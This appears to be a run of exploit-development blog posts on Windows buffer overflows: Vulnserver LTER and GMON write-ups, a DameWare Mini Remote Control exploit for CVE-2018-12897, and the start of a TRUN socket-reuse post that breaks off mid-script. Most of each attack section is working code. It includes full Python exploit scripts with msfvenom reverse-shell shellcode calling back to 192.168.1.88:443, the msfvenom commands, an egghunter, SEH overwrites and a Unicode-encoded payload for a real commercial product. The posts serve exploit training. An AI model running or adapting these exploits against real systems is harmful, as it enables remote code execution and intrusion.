Let’s identify where we overwrite EIP. As always we run msf-pattern_create:

msf-pattern_create -l 3000

We run the exploit with that string and we see that the values that overwrite EIP are:

Now we locate the exact position using msf-pattern_offset:

msf-pattern_offset -q "386F4337" -l 3000

Now we know where is the exact position of EIP overwrite, let’s look for a JMP ESP instruction to jump to our buffer.

So we have all the information that we need for the moment, we should overwrite EIP with the memory address 0x625011AF, and we need to use that in the position 2003 of our buffer. Let’s try it:

And it’s not working, the last value of EIP should be AF and it has been converted to 09, so AF may be a bad character, let’s look for a more suitable address, if exists.

I find this one, that looks only contains alphanumerical values:

We setup this in the current exploit:

# [*] Exact match at offset 2003
junk1 = "A" * 2003

# 62501203 JMP ESP
eip = "\x03\x12\x50\x62"

# 3000 - 2003 - 4
junk2 = "B" * 993

crash = junk1 + eip + junk2

And it works! We reached a breakpoint that I previously setup in the JMP ESP. At this point, we can check if the application has more bad characters.

To do that, I’m going to use the standard procedure, I’m going to put all hex characters in the buffer string, then I’m going to verify if any character gets modified by the application.

It seems that the 80 it’s a bad character. Now we could do an exhaustive analysis but I also see that the alphanumerical characters seems to be allowed.

So we can use an alphanumerical encoding, but before let’s analyze again the status of the debugger after we do the JMP ESP:

We can see that the current EIP value is stored in ESP, so it means that is the starting point of our shellcode.


Trick. Using BufferRegister option in Msfvenom

When we encode a shellcode using alpha_mixed from msfvenom or alpha2 c application, we need to know the starting point of our shellcode. If we are going to use msfvenom command, so we set the register value like this:

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -e x86/alpha_mixed -f python -v shellcode BufferRegister=ESP
# Payload size: 736 bytes
shellcode =  ""
shellcode += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x38\x68\x6b\x32\x63\x30"
shellcode += "\x53\x30\x67\x70\x51\x70\x4c\x49\x6d\x35\x75\x61"
shellcode += "\x69\x50\x55\x34\x6c\x4b\x50\x50\x46\x50\x6e\x6b"
shellcode += "\x51\x42\x56\x6c\x6c\x4b\x52\x72\x76\x74\x4c\x4b"
shellcode += "\x44\x32\x57\x58\x44\x4f\x4c\x77\x62\x6a\x36\x46"
shellcode += "\x34\x71\x39\x6f\x6c\x6c\x47\x4c\x61\x71\x43\x4c"
shellcode += "\x34\x42\x76\x4c\x67\x50\x4f\x31\x6a\x6f\x74\x4d"
shellcode += "\x63\x31\x49\x57\x6b\x52\x68\x72\x43\x62\x32\x77"
shellcode += "\x4c\x4b\x46\x32\x76\x70\x4e\x6b\x53\x7a\x77\x4c"
shellcode += "\x6c\x4b\x52\x6c\x54\x51\x52\x58\x6a\x43\x37\x38"
shellcode += "\x55\x51\x5a\x71\x62\x71\x6e\x6b\x66\x39\x57\x50"
shellcode += "\x53\x31\x69\x43\x6e\x6b\x30\x49\x66\x78\x78\x63"
shellcode += "\x57\x4a\x70\x49\x6c\x4b\x35\x64\x4e\x6b\x47\x71"
shellcode += "\x78\x56\x70\x31\x39\x6f\x6e\x4c\x4f\x31\x78\x4f"
shellcode += "\x44\x4d\x63\x31\x4f\x37\x36\x58\x6b\x50\x54\x35"
shellcode += "\x48\x76\x33\x33\x71\x6d\x68\x78\x45\x6b\x71\x6d"
shellcode += "\x46\x44\x43\x45\x4a\x44\x31\x48\x4c\x4b\x32\x78"
shellcode += "\x75\x74\x57\x71\x68\x53\x43\x56\x4e\x6b\x44\x4c"
shellcode += "\x32\x6b\x6e\x6b\x33\x68\x37\x6c\x35\x51\x4e\x33"
shellcode += "\x4c\x4b\x55\x54\x4e\x6b\x76\x61\x68\x50\x6d\x59"
shellcode += "\x33\x74\x77\x54\x34\x64\x73\x6b\x43\x6b\x55\x31"
shellcode += "\x72\x79\x52\x7a\x33\x61\x4b\x4f\x49\x70\x53\x6f"
shellcode += "\x51\x4f\x51\x4a\x6e\x6b\x64\x52\x58\x6b\x6e\x6d"
shellcode += "\x71\x4d\x31\x78\x36\x53\x67\x42\x43\x30\x77\x70"
shellcode += "\x62\x48\x44\x37\x54\x33\x36\x52\x53\x6f\x36\x34"
shellcode += "\x61\x78\x42\x6c\x70\x77\x55\x76\x33\x37\x6f\x79"
shellcode += "\x59\x78\x6b\x4f\x58\x50\x4e\x58\x4c\x50\x77\x71"
shellcode += "\x63\x30\x33\x30\x45\x79\x39\x54\x76\x34\x72\x70"
shellcode += "\x52\x48\x35\x79\x6f\x70\x70\x6b\x77\x70\x69\x6f"
shellcode += "\x7a\x75\x71\x7a\x66\x6a\x71\x78\x59\x50\x6c\x68"
shellcode += "\x67\x71\x73\x68\x32\x48\x76\x62\x53\x30\x65\x51"
shellcode += "\x4d\x6b\x6b\x39\x48\x66\x50\x50\x36\x30\x42\x70"
shellcode += "\x52\x70\x37\x30\x56\x30\x73\x70\x42\x70\x55\x38"
shellcode += "\x39\x7a\x66\x6f\x49\x4f\x49\x70\x79\x6f\x4b\x65"
shellcode += "\x6e\x77\x63\x5a\x42\x30\x50\x56\x32\x77\x71\x78"
shellcode += "\x4f\x69\x4f\x55\x63\x44\x33\x51\x6b\x4f\x6a\x75"
shellcode += "\x6b\x35\x39\x50\x32\x54\x67\x7a\x49\x6f\x70\x4e"
shellcode += "\x54\x48\x52\x55\x5a\x4c\x6d\x38\x72\x47\x77\x70"
shellcode += "\x65\x50\x65\x50\x52\x4a\x57\x70\x31\x7a\x36\x64"
shellcode += "\x50\x56\x63\x67\x33\x58\x63\x32\x7a\x79\x79\x58"
shellcode += "\x71\x4f\x79\x6f\x4a\x75\x6f\x73\x5a\x58\x33\x30"
shellcode += "\x51\x6e\x56\x56\x4c\x4b\x30\x36\x42\x4a\x51\x50"
shellcode += "\x31\x78\x37\x70\x42\x30\x73\x30\x33\x30\x50\x56"
shellcode += "\x31\x7a\x43\x30\x72\x48\x73\x68\x6e\x44\x46\x33"
shellcode += "\x6b\x55\x39\x6f\x78\x55\x5a\x33\x43\x63\x52\x4a"
shellcode += "\x47\x70\x32\x76\x46\x33\x62\x77\x61\x78\x45\x52"
shellcode += "\x4b\x69\x59\x58\x51\x4f\x4b\x4f\x58\x55\x6d\x53"
shellcode += "\x4a\x58\x67\x70\x33\x4d\x36\x48\x36\x38\x70\x68"
shellcode += "\x67\x70\x63\x70\x73\x30\x43\x30\x51\x7a\x37\x70"
shellcode += "\x62\x70\x53\x58\x66\x6b\x54\x6f\x66\x6f\x30\x30"
shellcode += "\x79\x6f\x4a\x75\x73\x67\x32\x48\x32\x55\x30\x6e"
shellcode += "\x62\x6d\x70\x61\x69\x6f\x4b\x65\x73\x6e\x71\x4e"
shellcode += "\x59\x6f\x66\x6c\x35\x74\x34\x4f\x6f\x75\x74\x30"
shellcode += "\x59\x6f\x49\x6f\x59\x6f\x5a\x49\x4d\x4b\x39\x6f"
shellcode += "\x49\x6f\x69\x6f\x66\x61\x6f\x33\x31\x39\x6f\x36"
shellcode += "\x42\x55\x4a\x61\x6b\x73\x6d\x6b\x7a\x50\x48\x35"
shellcode += "\x6e\x42\x46\x36\x52\x4a\x73\x30\x66\x33\x59\x6f"
shellcode += "\x49\x45\x41\x41"

We put the shellcode in our python exploit, and it’s completed. This is the final code:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 24/06/2019
# Vulnserver LTER - Alphanumerical shellcode

import socket
import os
import sys

# [*] Exact match at offset 2003
junk1 = "A" * 2003

# 62501203 JMP ESP
eip = "\x03\x12\x50\x62"

# Some padding
padding = "A" * 50

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 -e x86/alpha_mixed -f python -v shellcode BufferRegister=ESP
# Payload size: 736 bytes
shellcode =  ""
shellcode += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58"
shellcode += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42"
shellcode += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += "\x42\x75\x4a\x49\x39\x6c\x38\x68\x6b\x32\x63\x30"
shellcode += "\x53\x30\x67\x70\x51\x70\x4c\x49\x6d\x35\x75\x61"
shellcode += "\x69\x50\x55\x34\x6c\x4b\x50\x50\x46\x50\x6e\x6b"
shellcode += "\x51\x42\x56\x6c\x6c\x4b\x52\x72\x76\x74\x4c\x4b"
shellcode += "\x44\x32\x57\x58\x44\x4f\x4c\x77\x62\x6a\x36\x46"
shellcode += "\x34\x71\x39\x6f\x6c\x6c\x47\x4c\x61\x71\x43\x4c"
shellcode += "\x34\x42\x76\x4c\x67\x50\x4f\x31\x6a\x6f\x74\x4d"
shellcode += "\x63\x31\x49\x57\x6b\x52\x68\x72\x43\x62\x32\x77"
shellcode += "\x4c\x4b\x46\x32\x76\x70\x4e\x6b\x53\x7a\x77\x4c"
shellcode += "\x6c\x4b\x52\x6c\x54\x51\x52\x58\x6a\x43\x37\x38"
shellcode += "\x55\x51\x5a\x71\x62\x71\x6e\x6b\x66\x39\x57\x50"
shellcode += "\x53\x31\x69\x43\x6e\x6b\x30\x49\x66\x78\x78\x63"
shellcode += "\x57\x4a\x70\x49\x6c\x4b\x35\x64\x4e\x6b\x47\x71"
shellcode += "\x78\x56\x70\x31\x39\x6f\x6e\x4c\x4f\x31\x78\x4f"
shellcode += "\x44\x4d\x63\x31\x4f\x37\x36\x58\x6b\x50\x54\x35"
shellcode += "\x48\x76\x33\x33\x71\x6d\x68\x78\x45\x6b\x71\x6d"
shellcode += "\x46\x44\x43\x45\x4a\x44\x31\x48\x4c\x4b\x32\x78"
shellcode += "\x75\x74\x57\x71\x68\x53\x43\x56\x4e\x6b\x44\x4c"
shellcode += "\x32\x6b\x6e\x6b\x33\x68\x37\x6c\x35\x51\x4e\x33"
shellcode += "\x4c\x4b\x55\x54\x4e\x6b\x76\x61\x68\x50\x6d\x59"
shellcode += "\x33\x74\x77\x54\x34\x64\x73\x6b\x43\x6b\x55\x31"
shellcode += "\x72\x79\x52\x7a\x33\x61\x4b\x4f\x49\x70\x53\x6f"
shellcode += "\x51\x4f\x51\x4a\x6e\x6b\x64\x52\x58\x6b\x6e\x6d"
shellcode += "\x71\x4d\x31\x78\x36\x53\x67\x42\x43\x30\x77\x70"
shellcode += "\x62\x48\x44\x37\x54\x33\x36\x52\x53\x6f\x36\x34"
shellcode += "\x61\x78\x42\x6c\x70\x77\x55\x76\x33\x37\x6f\x79"
shellcode += "\x59\x78\x6b\x4f\x58\x50\x4e\x58\x4c\x50\x77\x71"
shellcode += "\x63\x30\x33\x30\x45\x79\x39\x54\x76\x34\x72\x70"
shellcode += "\x52\x48\x35\x79\x6f\x70\x70\x6b\x77\x70\x69\x6f"
shellcode += "\x7a\x75\x71\x7a\x66\x6a\x71\x78\x59\x50\x6c\x68"
shellcode += "\x67\x71\x73\x68\x32\x48\x76\x62\x53\x30\x65\x51"
shellcode += "\x4d\x6b\x6b\x39\x48\x66\x50\x50\x36\x30\x42\x70"
shellcode += "\x52\x70\x37\x30\x56\x30\x73\x70\x42\x70\x55\x38"
shellcode += "\x39\x7a\x66\x6f\x49\x4f\x49\x70\x79\x6f\x4b\x65"
shellcode += "\x6e\x77\x63\x5a\x42\x30\x50\x56\x32\x77\x71\x78"
shellcode += "\x4f\x69\x4f\x55\x63\x44\x33\x51\x6b\x4f\x6a\x75"
shellcode += "\x6b\x35\x39\x50\x32\x54\x67\x7a\x49\x6f\x70\x4e"
shellcode += "\x54\x48\x52\x55\x5a\x4c\x6d\x38\x72\x47\x77\x70"
shellcode += "\x65\x50\x65\x50\x52\x4a\x57\x70\x31\x7a\x36\x64"
shellcode += "\x50\x56\x63\x67\x33\x58\x63\x32\x7a\x79\x79\x58"
shellcode += "\x71\x4f\x79\x6f\x4a\x75\x6f\x73\x5a\x58\x33\x30"
shellcode += "\x51\x6e\x56\x56\x4c\x4b\x30\x36\x42\x4a\x51\x50"
shellcode += "\x31\x78\x37\x70\x42\x30\x73\x30\x33\x30\x50\x56"
shellcode += "\x31\x7a\x43\x30\x72\x48\x73\x68\x6e\x44\x46\x33"
shellcode += "\x6b\x55\x39\x6f\x78\x55\x5a\x33\x43\x63\x52\x4a"
shellcode += "\x47\x70\x32\x76\x46\x33\x62\x77\x61\x78\x45\x52"
shellcode += "\x4b\x69\x59\x58\x51\x4f\x4b\x4f\x58\x55\x6d\x53"
shellcode += "\x4a\x58\x67\x70\x33\x4d\x36\x48\x36\x38\x70\x68"
shellcode += "\x67\x70\x63\x70\x73\x30\x43\x30\x51\x7a\x37\x70"
shellcode += "\x62\x70\x53\x58\x66\x6b\x54\x6f\x66\x6f\x30\x30"
shellcode += "\x79\x6f\x4a\x75\x73\x67\x32\x48\x32\x55\x30\x6e"
shellcode += "\x62\x6d\x70\x61\x69\x6f\x4b\x65\x73\x6e\x71\x4e"
shellcode += "\x59\x6f\x66\x6c\x35\x74\x34\x4f\x6f\x75\x74\x30"
shellcode += "\x59\x6f\x49\x6f\x59\x6f\x5a\x49\x4d\x4b\x39\x6f"
shellcode += "\x49\x6f\x69\x6f\x66\x61\x6f\x33\x31\x39\x6f\x36"
shellcode += "\x42\x55\x4a\x61\x6b\x73\x6d\x6b\x7a\x50\x48\x35"
shellcode += "\x6e\x42\x46\x36\x52\x4a\x73\x30\x66\x33\x59\x6f"
shellcode += "\x49\x45\x41\x41"

# 3000 - 2003 - 4 - 736 = 257
junk2 = "B" * 257


crash = junk1 + eip + shellcode + junk2

buffer="LTER /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/tree/master/LTER

We launch it and we receive a reverse shell! 🙂

Only 2 more exercise of Vulnserver remaining. See you soon!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver GMON – Egghunter

Hello everyone!

This post is going to be another write-up of vulnserver. I’m going to do GMON exercise that contains basically an standard SEH based Remote Buffer Overflow vulnerability.

I will try to make this post useful for anyone that as me is learning about this kind of exploits.

Let’s go step by step all the process until we execute a reverse shell into the vulnerable server.

Before starting with the exploit development, we need to detect the vulnerability.

To do that, I used a tool named BooFuzz, and I used a custom python script that is the following one:

#!/usr/bin/env python
# Author: Xavi Bel
# Date: 22/06/2019
#    small mod: 20/07/019
# Purpose: 
#	Fuzzing Vulnserver
#	GMON

from boofuzz import *
import time

def get_banner(target, my_logger, session, *args, **kwargs):
    banner_template = b"Welcome to Vulnerable Server! Enter HELP for help."
    try:
        banner = target.recv(10000)
    except:
        print("Unable to connect. Target is down. Exiting.")
        exit(1)

    my_logger.log_check('Receiving banner..')
    if banner_template in banner:
        my_logger.log_pass('banner received')
    else:
        my_logger.log_fail('No banner received')
        print("No banner received, exiting..")
        exit(1)


def main():

    session = Session(
	sleep_time=1,
        target=Target(
            connection=SocketConnection("192.168.1.99", 9999, proto='tcp')
        ),
    )

    # Setup
    s_initialize(name="Request")
    with s_block("Host-Line"):
        s_static("GMON", name='command name')
        s_delim(" ")
        s_string("FUZZ",  name='trun variable content')
        s_delim("\r\n")

    # Fuzzing
    session.connect(s_get("Request"), callback=get_banner)
    session.fuzz()


if __name__ == "__main__":
	main()

We launch it. And the request number 50 crashes the application.

The request 50 is the following one:

So it contains the string:

GMON /.:/ + A * 5000

Let’s create an exploit in python that replicates the crash. Here is the code:

#!/usr/bin/python
import socket
import os
import sys

crash = "A" * 5000

buffer="GMON /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

We launch it and the application crashes. If we look at the crash inside the debugger, we can see that we didn’t overwrite EIP:

But if we look at the SEH, we are going to see that we overwritten it with 4 A’s.

We press SHIFT+F9 to pass the exception to program and we will see an access violation:

In the image above, apart that the EIP address, it’s also important to look at the stack, the right-bottom of the screen. Our shellcode is located on third position of the stack. To reach it we can use a POP-POP-RET instruction.

Let’s switch to Immunity debugger and use Corelan Mona plugin to locate a pop-pop-ret instruction:

!mona seh

We can choose for example the first one:

0x625010b4

We verify it:

Let’s save it for later. Before adding this to our script we need to locate the SEH overwrite. As always let’s use msf-pattern to generate an string:

msf-pattern_create -l 5000

We launch the script with this string, and we see that SEH was overwritten for the next value:

SEH chain of thread 000011F0, item 0
 Address=016FFFC4
 SE handler=45336E45

And we identified was is the exact position of the buffer that overwrites SEH value.

Let’s add this information to our script:

# [*] Exact match at offset 3519
junk1 = "A" * 3515 + "C" * 4

# 625010B4   POP-POP-RET
seh  = "\xB4\x10\x50\x62"

junk2 = "B" * 1477

crash = junk1 + seh + junk2

We setup a break point in the pop-pop-ret instruction and we verify that we reach it:

Now we are going to land in our 4 bytes of space that are the letters CCCC.

We are going to do a small jump forward with the instruction:

017CFFC4   EB 08            JMP SHORT 017CFFCE  = JMP SHORT +8

This it how the code looks like now:

# [*] Exact match at offset 3519
junk1 = "A" * 3515
short_jump = "\xEB\x08\x90\x90"

# 625010B4   5B               POP EBX
seh  = "\xB4\x10\x50\x62"

junk2 = "B" * 1477

crash = junk1 + short_jump + seh + junk2

And the jump worked as expected:

Now we can just put our final shellcode in that 1475 buffer space, but that should be too simple.

Let’s quickly implement an egghunter.

We copy the egghunter shellcode:

\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7

We put the egg somewhere in the code and we test it. It works fine, you can see T00WT00W string located in the dump:

Now we just need to generate the final shellcode.

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 EXITFUNC=none -b "\x00" -f python -v shellcode

We put all together in the final script:

#!/usr/bin/python
# Author: Xavi Bel
# Website: xavibel.com
# Date: 20/07/2019
# Vulnserver GMON - Egghunter
import socket
import os
import sys

# [*] Exact match at offset 3519
junk1 = "A" * 3149

# msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.1.88 LPORT=443 EXITFUNC=none -b "\x00" -f python -v shellcode
# Payload size: 358 bytes
shellcode  = "T00WT00W"
shellcode += "\xba\xba\xbb\x18\x8a\xda\xd0\xd9\x74\x24\xf4\x58"
shellcode += "\x33\xc9\xb1\x53\x31\x50\x15\x83\xe8\xfc\x03\x50"
shellcode += "\x11\xe2\x4f\x47\xf0\x08\xaf\xb8\x01\x6d\x26\x5d"
shellcode += "\x30\xad\x5c\x15\x63\x1d\x17\x7b\x88\xd6\x75\x68"
shellcode += "\x1b\x9a\x51\x9f\xac\x11\x87\xae\x2d\x09\xfb\xb1"
shellcode += "\xad\x50\x2f\x12\x8f\x9a\x22\x53\xc8\xc7\xce\x01"
shellcode += "\x81\x8c\x7c\xb6\xa6\xd9\xbc\x3d\xf4\xcc\xc4\xa2"
shellcode += "\x4d\xee\xe5\x74\xc5\xa9\x25\x76\x0a\xc2\x6c\x60"
shellcode += "\x4f\xef\x27\x1b\xbb\x9b\xb6\xcd\xf5\x64\x14\x30"
shellcode += "\x3a\x97\x65\x74\xfd\x48\x10\x8c\xfd\xf5\x22\x4b"
shellcode += "\x7f\x22\xa7\x48\x27\xa1\x1f\xb5\xd9\x66\xf9\x3e"
shellcode += "\xd5\xc3\x8e\x19\xfa\xd2\x43\x12\x06\x5e\x62\xf5"
shellcode += "\x8e\x24\x40\xd1\xcb\xff\xe9\x40\xb6\xae\x16\x92"
shellcode += "\x19\x0e\xb2\xd8\xb4\x5b\xcf\x82\xd0\xa8\xfd\x3c"
shellcode += "\x21\xa7\x76\x4e\x13\x68\x2c\xd8\x1f\xe1\xea\x1f"
shellcode += "\x29\xe5\x0d\xcf\x91\x66\xf0\xf0\xe1\xaf\x36\xa4"
shellcode += "\xb1\xc7\x9f\xc5\x59\x18\x20\x10\xf7\x12\xb6\x5b"
shellcode += "\xa0\x22\x1e\x34\xb3\x24\x9f\x7f\x3a\xc2\xcf\x2f"
shellcode += "\x6d\x5b\xaf\x9f\xcd\x0b\x47\xca\xc1\x74\x77\xf5"
shellcode += "\x0b\x1d\x1d\x1a\xe2\x75\x89\x83\xaf\x0e\x28\x4b"
shellcode += "\x7a\x6b\x6a\xc7\x8f\x8b\x24\x20\xe5\x9f\x50\x57"
shellcode += "\x05\x60\xa0\xf2\x05\x0a\xa4\x54\x51\xa2\xa6\x81"
shellcode += "\x95\x6d\x59\xe4\xa5\x6a\xa5\x79\x9c\x01\x93\xef"
shellcode += "\xa0\x7d\xdb\xff\x20\x7e\x8d\x95\x20\x16\x69\xce"
shellcode += "\x72\x03\x76\xdb\xe6\x98\xe2\xe4\x5e\x4c\xa5\x8c"
shellcode += "\x5c\xab\x81\x12\x9e\x9e\x92\x55\x60\x5c\xbc\xfd"
shellcode += "\x09\x9e\xfc\xfd\xc9\xf4\xfc\xad\xa1\x03\xd3\x42"
shellcode += "\x02\xeb\xfe\x0a\x0a\x66\x6e\xf8\xab\x77\xbb\x5c"
shellcode += "\x72\x77\x4f\x45\x85\x02\x3f\x7a\x66\xf3\x56\x1f"
shellcode += "\x66\xf3\x57\x21\x5a\x25\x61\x57\x9d\xf5"

# EB08 JMP SHORT +8
short_jump = "\xEB\x08\x90\x90"

# 625010B4 POP-POP-RET
seh  = "\xB4\x10\x50\x62"

# 2 bytes of padding, we are going to jmp over them
padding = "X" * 2

# egghunter - 32 bytes
# egg = W00T
egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x54\x30\x30\x57\x89\xD7\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"

junk2 = "B" * 1443


crash = shellcode + junk1 + short_jump + seh + padding + egghunter + junk2

buffer="GMON /.:/"
buffer+= crash + "\r\n"
print "[*] Sending exploit!"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.99", 9999))
expl.send(buffer)
expl.close()

https://github.com/socket8088/Vulnserver/blob/master/GMON/EXP-GMON-01-egghunter.py

We execute it, and here is our shell:

See you soon!

Posted in Exploiting | Tagged , , , , , , , , , | Leave a comment

CVE-2018-12897 – Exploit Development – SolarWinds DameWare Local Buffer Overflow

Hello everyone!

Last week I’ve been having fun trying to create exploits for already discovered vulnerabilities. I’m currently preparing the OSCE exam, and I decided that after doing some Vulnserver exercises… I needed to start working on “more realistic” exploits.

For this case, I chose the following application: DameWare Mini Remote Control and I will cover the process of creating a working exploit for a SEH based local Buffer Overflow that corresponds to CVE-2018-12897.

This vulnerability was discovered by Adam Jeffreys from Nettitude, so all the credit goes to him. You can read his write-up in the following blog post:

https://labs.nettitude.com/blog/solarwinds-cve-2018-12897-dameware-mini-remote-control-local-seh-buffer-overflow/

Now I’m going to write the exploit from the scratch without any help, the idea is to prepare the exam 🙂

Step 1. Identifying the vulnerable parameter:

The vulnerability is a local Buffer Overflow that leads in code execution. I manually input 5000 A’s in this field in this options menu:

Right click on a host >> AMT >> AMT Settings dialog

We mark “Use SOCKS proxy” box, and the we paste the 5000 A’s string in the Host field:

When we introduce this string, the application is going to crash. If we do the same with a debugger attached to the process of the application we can see the following:

We managed to overwrite the Structured Exception Handler(SEH). So we are in the good way.

Step 2. ASCII to Unicode conversion

As I said, we overwritten the SEH, but we expected to have the value 41414141 in it (4 A’s). But we have 00410041, this is indicative that our buffer it’s getting converted to Unicode.

The process that is happening, is that the ASCII character “\x41″ is converted to u”\u0041”.

This transformation is going to complicate all the process of exploit development. Some values are going to change and get modified, also we are not going to be able to use some instructions and we are going to need to use the imagination, or Corelan tutorials 😛

Step 3. Where is our buffer located and what instruction do we need

If we press SHIFT + F9 we are going to pass exception the program and we are going to reach the memory address 00410041, our SEH value. If we quickly inspect that state of the stack, we are going to see that in the third position of the stack, is located our A’s string.

So we need an instruction or a set of instructions, that can jump to that position of the stack. The instructions that suits us is a POP-POP-RET. Is going to remove the top two values of the stack, and is going to execute the third one.

Step 4. Locating a Unicode compatible POP-POP-RET

At this point we need to locate an Unicode compatible instruction that contains what we need, with unicode compatible I mean an instruction like the following:

00XX00XX

Or a similar one, that gets converted to a suitable address. An easy way to locate one, if exists, is using Mona plugin from Corelan.

To do that, we need to attach the application to the Immunity debugger and execute the following command:

!mona seh -cp unicode

The first memory address is 007a007b and it contains a POP-POP-RET 4 instruction that suits our needs.

Step 5. NSEH instructions

NSEH is going to be the next instructions that we are going to execute, we need that them don’t break the program execution flow.

After reading the Corelan tutorial again, and doing some tests I identified that these instructions are fine:

nseh = "\x61\x43"

Step 6. Jumping to the final shellcode

The shellcode that we need must be alphanumerical encoded. There is a tool that converts our shellcode to a “Unicode exploit compatible”. You can find it here:

https://github.com/un4ckn0wl3z/Alpha2-encoder

Just compile it with gcc and you can execute after this commands:

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw

And this is the shellcode generated

# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"

We put all together in our final exploit:

#!/usr/bin/env python
# Author: Xavi Beltran
# Date: 11/07/2019
# Description:
#           SEH based Buffer Overflow
#			DameWare Remote Support V. 12.0.0.509
#			CVE-2018-12897

# Contact: xavibeltran@protonmail.com
# Webpage: https://xavibel.com
# Tested on: Windows XP SP3 ESP

# Credit for Adam Jeffreys from Nettitude! :)

# Usage:
#			Right click on a host >> AMT >> AMT Settings dialog
#			Mark "Use SOCKS proxy" box
#			Paste the string in the Host field

junk  = "\x41" * 1672

# Unicode compatible padding
nseh = "\x61\x43"

# 007A007B - POP POP RET
seh = "\x7B\x7A"

align  = ""
align += "\x05\x20\x11"       # add eax,0x11002000
align += "\x71"               # Venetian Padding
align += "\x2d\x19\x11"       # sub eax,0x11001900
align += "\x71"               # Venetian Padding
align += "\x50"               # push eax
align += "\x71"               # Venetian Padding
align += "\xC3"               # RETN

padding = "\x41" * 11

junk2 = "\x41" * 870
junk3 = "\x41" * 2014

# msfvenom -p windows/exec CMD=calc -f raw > shellcode.raw
# ./alpha2 eax --unicode --uppercase < shellcode.raw
# 508 bytes
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"


crash = junk + nseh + seh + padding + align + junk2 + shellcode + junk3

print(crash)

Finally, we run the exploit, and we verify that our code works correctly, and before the last return instruction, we have the generated shellcode in EAX:

We let the execution continue and here is our calc!

I submitted it to Exploit-DB just in case, maybe it’s useful for someone like me that is learning about this kind of exploits. Here is the link:

https://www.exploit-db.com/exploits/47126

With the same technique described a few hours later I identified a new vulnerability in another product and I reported to the vendor doing a responsible disclosure. I will publish the same write up when they fix it. It seems that the Offensive Security course worths the money 🙂

See you soon after some more hours inside a debugger!

Posted in Exploiting | Tagged , , , , , , , , , , | Leave a comment

Exploit Development – Vulnserver TRUN – Socket Reuse

Hello!

This post is going to cover the exploitation of the TRUN method of Vulnserver using the socket reuse technique that I explained in the last entry of the Blog.

This blog post is going to be straight forward, as it were personal notes I’m not going to explain everything. But here you can read all the details of this particular technique:

Also, in this other blog post I explained the process of exploiting a normal Buffer Overflow for the TRUN function of Vulnserver:

Well let’s start at the point that we have control of EIP, and we use it to do a JMP ESP and we have enough space to place the shellcode that we want.

The current exploit looks like this:

#!/usr/bin/python
import socket
import os
import sys

# 625011AF   FFE4             JMP ESP
crash = "A" * 2003 + "\xAF\x11\x50\x62" + "C" * 2903

buffer="TRUN /.:/"
